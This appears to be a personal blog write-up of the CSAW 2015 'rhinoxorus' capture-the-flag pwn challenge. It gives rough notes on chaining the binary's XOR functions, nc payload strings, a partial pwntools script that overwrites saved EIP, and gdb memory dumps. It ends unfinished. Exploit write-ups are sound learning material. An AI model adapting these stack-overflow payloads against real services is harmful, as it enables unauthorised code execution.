Wednesday 25 October 2017

CSAW 2015 PWN 500 rhinoxorus

In the lead up to CSAW 2016 I decided to go back and do the 500 point exploit challenge rhinoxorus

The source code and binary are available here:
https://github.com/ctfs/write-ups-2015/tree/master/csaw-ctf-2015/pwn/rhinoxorus-500

Note: I've compiled it locally from source so my exploit won't work with the binary given.


Writeup:

In the c program there are 256 functions like this
unsigned char func_28(unsigned char *buf, unsigned int count)
{
    unsigned int i;
    unsigned char localbuf[0x5c];
    unsigned char byte=0x5c;
    memset(localbuf, byte, sizeof(localbuf));
    printf("in function func_28, count is %u, bufsize is 0x5c\n", count);
    if (0 == --count)
    {
         return 0;
    }
    for (i = 0; i < count; ++i)
    {
         localbuf[i] ^= buf[i];
    }
    func_array[localbuf[0]](localbuf+1, count);
    return 0;
}







I ignore the name of the functions and just think about them by

their index in the array of function pointers (see source code

function_[X] has key (4*X + 0x84)%256


it xor's the current input with it's key
and then calls function_ with new_input[1:]

this way it gets smaller each time


By playing around I found how to generate 
a chain that kept calling the same function

for function compose the string

a s(a) t(a) s(a) t(a) ...
where:
f = lambda a: (4*a + 0x84)%256
s = lambda a: hex(a ^ f(a) ^ f(f(a) ^ a))
t = lambda a: hex(a ^ f(f(a) ^ a))

this was found by tracing the xors 


printf '\x80\x90\x14\x90\x14\x90\x14\x90\x14\x90\x14' | nc localhost 1337

... 

in function func_b2, count is 11, bufsize is 0x84
in function func_36, count is 10, bufsize is 0x94
in function func_b2, count is 9, bufsize is 0x84
in function func_b2, count is 8, bufsize is 0x84
in function func_b2, count is 7, bufsize is 0x84
in function func_b2, count is 6, bufsize is 0x84
in function func_b2, count is 5, bufsize is 0x84
in function func_b2, count is 4, bufsize is 0x84
in function func_b2, count is 3, bufsize is 0x84
in function func_b2, count is 2, bufsize is 0x84
in function func_b2, count is 1, bufsize is 0x84


len 8: 
starting chain: \x80\x90\x14\x90\x14\x90\x14\x90

0xf1 -f> key: 8


when we overflow, we write over the counter
To make sure that our whole payload gets copied
and we don't copy any extra junk this needs to 
be fixed

this is the important one
------------------------------------
v
\x80\x90\x14\x90\x14\x14\xf1123456780000

I'll find what it is and then xor appropriatley to get 0x09
which is what it should be

wait no, this is the important one 
-----------------------------------
v
\x80\x90\x14\x90\x14\x14\xf1123456780000
k so it loads 0x29
\x80\x90\x14\x90\x14\x14\xf11234567\x29000
but that kinda breaks things with all the xors

AHH! Here's a smart idea. It doesn't actually matter, I can calculate a byte that after all the xoring will be 0x00 and have no effect.
Giving it nulls (after the starting chain)
0x00 -xors> 0x10
therefore
0x10 -xors> 0x00

at this point in the chain buf is like 0x10 so it flips bits for all the nulls
by adding 0x10's I make it have the net effect of not doing anything

\x80\x90\x14\x90\x14\x90\x14\xf1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x10\x10\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00


e.g 
Memory initially:
0x08080808 0x08080808
My initial input
0x00000000      0x10101010
after all the xoring
0x10101010      0x00000000
After local overriding xor's
0x18181818 0x08080808


ok now it's time to move to python
#!/usr/bin/python
conn = remote('localhost', 1337)

payload = "\x80\x90\x14\x90\x14\x90\x14\xf1"
nulls = '\x10'*(6*4 + 1) 

saved_eip = 0x804e06c
zor = 0x10101010 #nulls -> 0x1010101
# therefore 0x10101010 -> 0x000000 i.e no effect yay ninja

flag_loc = 0x805b6c0

eip_null = p32(saved_eip ^ zor)

conn.sendline(payload + nulls + eip_null)




At this point, I control eip

I'm going to call:
int sock_send(int sockfd, char *buf, size_t length);

from inspection sockfd == 0x4 

0xffeabb40: 0xffeabb58 -> flag??






gdb-peda$ x/32wx 0xffb375f0
0xffb375f0: 0x086faac0 0x08080808 0x08080808 0x0000001c
0xffb37600: 0xf76faac0 0xf767cc1d 0xffb376b8 0x0805454d
0xffb37610: 0xffb37628 0x0000003d 0x00000084 0x00000000
0xffb37620: 0x00000000 0xe1000000 0x00000000 0x00000000
0xffb37630: 0x00000000 0x00000000 0x00000000 0x00000000
0xffb37640: 0x01a52100 0x00000000 0x00000000 0x00000000
0xffb37650: 0x00000000 0x0487db00 0x00000408 0x05b6c0e1
0xffb37660: 0x0000ff08 0x84848400 0x84848484 0x84848484
gdb-peda$ c 4